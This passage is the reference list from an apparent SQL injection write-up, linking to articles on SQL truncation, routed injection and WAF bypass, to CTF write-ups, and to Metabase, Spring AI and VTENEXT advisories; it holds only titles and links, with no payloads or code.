[SQL Truncation Attack (Lucideus)](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) 741 - [4] [SQL Truncation Attack (InfoSec Institute)](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) 742 - [5] [SQL Truncation Attack - updated behavior on modern MySQL](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation) 743 - [6] [Routed SQL Injection (paper)](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt) 744 - [7] [WAF Bypass cheat sheet - PayLoadAllTheThings (Ne3o1 fork)](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass) 745 - [8] [A scientific notation bug in MySQL left AWS WAF clients vulnerable to SQL injection](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) 746 - [9] [33C3 CTF Writeup - Shia](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) 747 - [10] [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) 748 - [11] [CVE-2026-22730: SQL Injection in Spring AI's MariaDB Vector Store](https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/) 749 - [12] [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html) 750 - [13] [Metabase advisory GHSA-vwf4-m7j8-wcjf](https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf) 751 - [14] [HoneySQL special syntax: `raw` and `lift`](https://github.com/seancorfield/honeysql/blob/develop/doc/special-syntax.md) 752 - [15] [Metabase security update and attack pattern](https://www.metabase.com/blog/security-update) 753 - [16] [CVE-2026-72898: Critical Metabase Unauthenticated SQL Injection Vulnerability](https://offsec.com/blog/cve-2026-72898-2)